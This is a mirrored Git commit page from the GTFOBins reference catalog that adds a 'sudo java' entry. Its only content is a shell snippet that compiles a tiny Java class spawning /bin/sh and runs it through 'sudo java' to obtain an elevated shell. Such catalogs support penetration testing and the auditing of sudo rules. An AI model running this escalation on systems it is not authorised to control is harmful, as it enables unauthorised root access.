mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-10-31 16:58:36 +01:00 
			
		
		
		
	Add sudo java
This commit is contained in:
		
							
								
								
									
										10
									
								
								_gtfobins/java.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										10
									
								
								_gtfobins/java.md
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,10 @@ | ||||
| --- | ||||
| functions: | ||||
|   sudo: | ||||
|     - code: | | ||||
|         TD=$(mktemp -d) | ||||
|         SOURCE='public class Exec { public static void main(String[] args) throws Exception { new ProcessBuilder("/bin/sh").inheritIO().start().waitFor(); } }' | ||||
|         echo "$SOURCE" > $TD/Exec.java | ||||
|         javac $TD/Exec.java | ||||
|         sudo java -cp $TD Exec | ||||
| --- | ||||
		Reference in New Issue
	
	Block a user